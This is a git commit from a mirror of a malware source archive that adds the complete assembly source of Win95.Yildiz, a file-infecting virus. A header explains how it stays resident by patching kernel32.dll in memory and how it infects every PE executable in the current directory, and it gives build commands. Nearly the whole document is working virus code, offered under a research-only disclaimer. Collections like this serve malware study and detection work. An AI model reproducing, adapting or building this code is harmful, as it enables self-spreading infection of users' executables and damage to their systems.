mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 07:49:24 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,336 @@
|
||||
; *************************************************************************
|
||||
; ******************** ********************
|
||||
; ******************** Win95.Yildiz ********************
|
||||
; ******************** by ********************
|
||||
; ******************** Black Jack ********************
|
||||
; ******************** ********************
|
||||
; *************************************************************************
|
||||
|
||||
comment ~
|
||||
|
||||
NAME: Win95.Yildiz
|
||||
AUTHOR: Black Jack [independant Austrian Win32asm virus coder]
|
||||
CONTACT: Black_Jack_VX@hotmail.com | http://www.coderz.net/blackjack
|
||||
TYPE: Win9x direct acting/global ring3 resident PE header cavity virus
|
||||
SIZE: 323 bytes (but of course infected files won't increase in size)
|
||||
|
||||
DESCRIPTION: When an infected file is run, the virus takes control. It then
|
||||
tries to find the kernel32 base address by a simple algorithm
|
||||
which should make it compatible with Win9X and WinME (although I
|
||||
haven't tested it with the second one). After that it gets the
|
||||
undocumented Win9X API VxDCall0 and uses it to call int 21h. The
|
||||
VxDCall0 API is the very first exported API in Win9X; I don't
|
||||
know which API is first in WinNT, that's why unpredictable
|
||||
results may occur when the virus runs in that OS (I haven't tried
|
||||
it out, but of course the virus can't work in NT).
|
||||
Then it goes TSR (read more about this a bit later), and infects
|
||||
all PE EXE files in the current directory by overwriting the
|
||||
unused padding bytes in the PE header with the virus body.
|
||||
The memory residency consist in infecting kernel32.dll in memory.
|
||||
To do so, it creates a temporary file called "Yildiz." and writes
|
||||
the first 4KB of kernel32.dll there. Then this file is infected
|
||||
like any other PE file. And finally the content of the infected
|
||||
temp file is read back into kernel32 memory. Yep, you have read
|
||||
right, by using the int21h with VxDCall0 you can read from a file
|
||||
into read-only memory! (This trick was discovered by Murkry/IkX,
|
||||
read more about it in the comments to his Darkside virus source,
|
||||
published in Xine#3).
|
||||
As I have already said, the kernel32 is infected in memory just
|
||||
like any other file, this means the entry point is set to the
|
||||
virus, no APIs are hooked. As you should know, the entry point
|
||||
of a DLL is a init routine that is called whenever the DLL is
|
||||
loaded by a program. And since kernel32 is imported by all
|
||||
programs, this means for us that whenever a program is run (and
|
||||
kernel32 is mapped into the program's address space), our virus
|
||||
will infect all PE EXE files in the directory of the program.
|
||||
|
||||
ASSEMBLE WITH:
|
||||
tasm32 /mx /m yildiz.asm
|
||||
tlink32 /Tpe /aa yildiz.obj,,, import32.lib
|
||||
|
||||
there's no need for PEWRSEC or a similar tool, because the
|
||||
virus code is supposed to run in read-only memory anyways.
|
||||
|
||||
DISCLAIMER: I do *NOT* support the spreading of viruses in the wild.
|
||||
Therefore, this source was only written for research and
|
||||
education. Please do not spread it. The author can't be hold
|
||||
responsible for what you decide to do with this source.
|
||||
|
||||
~
|
||||
; ===========================================================================
|
||||
|
||||
|
||||
virus_size EQU (virus_end - virus_start)
|
||||
|
||||
Extrn MessageBoxA:Proc ; for first generation only
|
||||
Extrn ExitProcess:Proc
|
||||
|
||||
.386p
|
||||
.model flat
|
||||
.data
|
||||
dd 0 ; dummy data, you know...
|
||||
|
||||
.code
|
||||
virus_start:
|
||||
pushad ; save all registers
|
||||
|
||||
xchg edi, eax ; put delta offset to EDI (EAX=start
|
||||
; offset of program by default)
|
||||
|
||||
mov eax, [esp+8*4] ; EAX=some address inside kernel32
|
||||
|
||||
sub esp, size stack_frame ; reserve room on stack
|
||||
mov esi, esp ; set ESI to our data on the stack
|
||||
|
||||
search_kernel32:
|
||||
xor ax,ax ; we assume the least significant
|
||||
; word of the kernel32 base is zero
|
||||
cmp word ptr [eax], "ZM" ; is there a MZ header ?
|
||||
JE found_kernel32 ; if yes, we found the correct
|
||||
; kernel32 base address
|
||||
dec eax ; 0BFF80000->0BFF7FFFF, and then the
|
||||
; least significant word is zeroed
|
||||
JMP search_kernel32 ; check next possible kernel32 base
|
||||
|
||||
tmp_filename db "Yildiz", 0
|
||||
filespec db "*.EXE", 0
|
||||
|
||||
|
||||
found_kernel32:
|
||||
mov ebx, [eax+3Ch] ; EBX=kernel32 PE header RVA
|
||||
add ebx, eax ; EBX=offset of kernel32 PE header
|
||||
|
||||
mov ebx, [ebx+120] ; EBX=export table RVA
|
||||
mov ebx, [ebx+eax+1Ch] ; EBX=Address array of API RVAs
|
||||
mov ebx, [ebx+eax] ; get the first API RVA: VxDCall0
|
||||
add ebx, eax ; EBX=Offset VxDCall0 API
|
||||
mov [esi.VxDCall0], ebx ; save it
|
||||
lea ebp, [edi+int21h-virus_start] ; EBP=offset of our int21h procedure
|
||||
; for optimisation reasons, the
|
||||
; CALL EBP instruction is just 2 bytes
|
||||
|
||||
|
||||
; ----- GO TSR --------------------------------------------------------------
|
||||
|
||||
lea edx, [edi+tmp_filename-virus_start] ; EDX=pointer to tmp filename
|
||||
push edx ; save it on stack
|
||||
|
||||
push eax ; save kernel32 base address on stack
|
||||
|
||||
mov ah, 3Ch ; create temp file
|
||||
xor ecx, ecx ; no attributes
|
||||
call ebp ; call our int 21h procedure
|
||||
|
||||
xchg ebx, eax ; filehandle to EBX, where it belongs
|
||||
|
||||
pop edx ; EDX=kernel32 base address
|
||||
push edx ; save it again
|
||||
|
||||
call write_file ; write start of kernel32 to temp file
|
||||
|
||||
call infect ; infect the temp file
|
||||
|
||||
pop edx ; EDX=kernel32 base address
|
||||
|
||||
mov ah, 3Fh ; read infected kernel32 fileststart
|
||||
call read_write ; into kernel32 memory
|
||||
|
||||
mov ah, 3Eh ; close temp file
|
||||
call ebp ; call our int 21h procedure
|
||||
|
||||
pop edx ; EDX=pointer to temp filename
|
||||
mov ah, 41h ; delete temp file
|
||||
call ebp ; call our int 21h procedure
|
||||
|
||||
|
||||
; ----- INFECT ALL FILES IN CURRENT DIR -------------------------------------
|
||||
|
||||
mov ah, 2Fh ; get DTA
|
||||
call ebp ; call our int 21h procedure
|
||||
|
||||
push es ; save DTA address to stack
|
||||
push ebx
|
||||
|
||||
push ds ; ES=DS (standart data segment)
|
||||
pop es
|
||||
|
||||
mov ah, 1Ah ; set DTA to our data area
|
||||
lea edx, [esi.dta] ; DS:EDX=new DTA adress
|
||||
call ebp ; call our int 21h procedure
|
||||
|
||||
mov ah, 4Eh ; find first file
|
||||
xor ecx, ecx ; only files with standart attributes
|
||||
lea edx, [edi+(filespec-virus_start)] ; EDX=offset of filespec
|
||||
|
||||
findfile_loop:
|
||||
call ebp ; call our int 21h procedure
|
||||
JC all_done ; no more files found?
|
||||
|
||||
mov ax, 3D02h ; open victim file for read and write
|
||||
lea edx, [esi.dta+1Eh] ; DS:EDX=pointer to filename in DTA
|
||||
call ebp ; call our int 21h procedure
|
||||
|
||||
xchg ebx, eax ; handle to EBX, where it belongs
|
||||
|
||||
call infect ; infect the file
|
||||
|
||||
mov ah, 3Eh ; close the victim file
|
||||
call ebp ; call our int 21h procedure
|
||||
|
||||
search_on:
|
||||
mov ah, 4Fh ; find next file
|
||||
JMP findfile_loop
|
||||
|
||||
|
||||
; ----- RESTORE HOST --------------------------------------------------------
|
||||
|
||||
all_done:
|
||||
pop edx ; restore old DTA offset in DS:EDX
|
||||
pop ds
|
||||
mov ah, 1Ah ; reset DTA to old address
|
||||
call ebp ; call our int 21h procedure
|
||||
|
||||
push es ; DS=ES (standart data segment)
|
||||
pop ds
|
||||
|
||||
add esp, size stack_frame ; remove our data buffer from stack
|
||||
|
||||
popad ; restore all registers
|
||||
|
||||
db 05h ; add eax, imm32
|
||||
entry_RVA_difference dd (host-virus_start) ; difference between host and
|
||||
; virus entrypoint (EAX is virus
|
||||
; entrypoint offset by default)
|
||||
JMP eax ; jump to host entrypoint
|
||||
|
||||
; ----- END MAIN PART OF THE VIRUS CODE -------------------------------------
|
||||
|
||||
exit_infect:
|
||||
pop edi ; restore EDI (delta offset)
|
||||
RET ; return to caller
|
||||
|
||||
; ----- INFECT AN OPENED FILE (HANDLE IN BX) --------------------------------
|
||||
|
||||
infect:
|
||||
push edi ; save EDI (delta offset)
|
||||
|
||||
mov edx, esi ; EDX=read/write buffer offset
|
||||
mov ah, 3Fh ; read start of file
|
||||
call read_write
|
||||
|
||||
cmp word ptr [esi], "ZM" ; is it an exe file ?
|
||||
JNE exit_infect ; cancel infection if not
|
||||
|
||||
mov ecx, [esi+3Ch] ; ECX=new header RVA
|
||||
cmp ecx, 3*1024 ; check if DOS stub is small enough
|
||||
; so that all the PE header is in
|
||||
; our buffer
|
||||
JA exit_infect ; if not, cancel infection
|
||||
|
||||
lea edi, [esi+ecx] ; EDI=PE header offset in memory
|
||||
cmp word ptr [edi], "EP" ; is it an PE file ?
|
||||
; (I know that the PE marker is
|
||||
; actually a dword, but by only
|
||||
; checking one word we save a byte
|
||||
; of virus code)
|
||||
JNE exit_infect ; cancel infection if not
|
||||
|
||||
cmp dword ptr [edi+28h], 4096 ; check if entrypoint RVA is in the
|
||||
; first 4 KB of the file
|
||||
JB exit_infect ; if yes, the file must be already
|
||||
; infected, cancel infection
|
||||
|
||||
add ecx, 24 ; add size of FileHeader
|
||||
movzx eax, word ptr [edi+14h] ; EAX=size of Optional header
|
||||
add ecx, eax ; add it to ECX
|
||||
movzx eax, word ptr [edi+6] ; EAX=NumberOfSections
|
||||
imul eax, eax, 40 ; get size of section headers to EAX
|
||||
add ecx, eax ; add it to ECX, now it points to the
|
||||
; end of the used part of the PE
|
||||
; header, where the virus will be.
|
||||
|
||||
mov edx, ecx ; EDX=virus RVA
|
||||
xchg dword ptr [edi+28h], edx ; set it as new entrypoint RVA
|
||||
sub edx, ecx ; EDX=difference between old and new
|
||||
; entrypoint RVA
|
||||
|
||||
mov eax, [edi+54h] ; EAX=SizeOfHeaders (aligned to
|
||||
; FileAlign)
|
||||
|
||||
lea edi, [esi+ecx] ; EDI=virus offset in buffer
|
||||
|
||||
sub eax, ecx ; EAX=free room for us to use
|
||||
mov cx, virus_size ; ECX=size of virus (the most
|
||||
; significant word of ECX should be 0)
|
||||
cmp eax, ecx ; enough room for the virus ?
|
||||
JL exit_infect ; cancel infection if not
|
||||
|
||||
pop eax ; EAX=delta offset
|
||||
push eax ; save it again to stack
|
||||
xchg esi, eax ; ESI=delta offset, EAX=data buffer
|
||||
|
||||
cld ; clear direction flag
|
||||
rep movsb ; move virus body into buffer
|
||||
|
||||
xchg esi, eax ; ESI=pointer to our data on stack
|
||||
|
||||
mov [edi-(virus_end-entry_RVA_difference)], edx ; store difference
|
||||
; between old and new entrypoint
|
||||
|
||||
pop edi ; restore EDI (delta offset)
|
||||
|
||||
mov edx, esi ; EDX=offset of read/write buffer
|
||||
|
||||
; now write modified start of file,
|
||||
; then return to caller
|
||||
|
||||
write_file:
|
||||
mov ah, 40h ; write to file
|
||||
|
||||
read_write:
|
||||
xor ecx, ecx ; ECX=0
|
||||
pushad ; save all registers
|
||||
|
||||
xor eax, eax ; EAX=4200h (set filepointer from
|
||||
mov ah, 42h ; start of the file
|
||||
cdq ; CX:DX=0 (new filepointer)
|
||||
call ebp ; call our int 21h procedure
|
||||
|
||||
popad ; restore all registers
|
||||
|
||||
mov ch, 10h ; ECX=4096 (size of read/write buffer)
|
||||
|
||||
; now execute int 21h and return
|
||||
|
||||
int21h: ; protected mode int21
|
||||
push ecx ; push parameters
|
||||
push eax
|
||||
push 2A0010h ; VWIN32_Int21Dispatch function
|
||||
call ss:[esi.VxDCall0] ; call VxDCall0 API
|
||||
ret
|
||||
|
||||
virus_end:
|
||||
|
||||
; This is our data that will be stored on the stack:
|
||||
|
||||
stack_frame struc
|
||||
buffer db 4096 dup(?)
|
||||
dta db 43 dup(?)
|
||||
VxDCall0 dd ?
|
||||
stack_frame ends
|
||||
|
||||
|
||||
host:
|
||||
push 0
|
||||
push offset caption
|
||||
push offset message
|
||||
push 0
|
||||
call MessageBoxA
|
||||
|
||||
push 0
|
||||
call ExitProcess
|
||||
|
||||
caption db "Win95.Yildiz Virus (c) 2000 Black Jack", 0
|
||||
message db "first generation dropper", 0
|
||||
|
||||
end virus_start
|
||||
Reference in New Issue
Block a user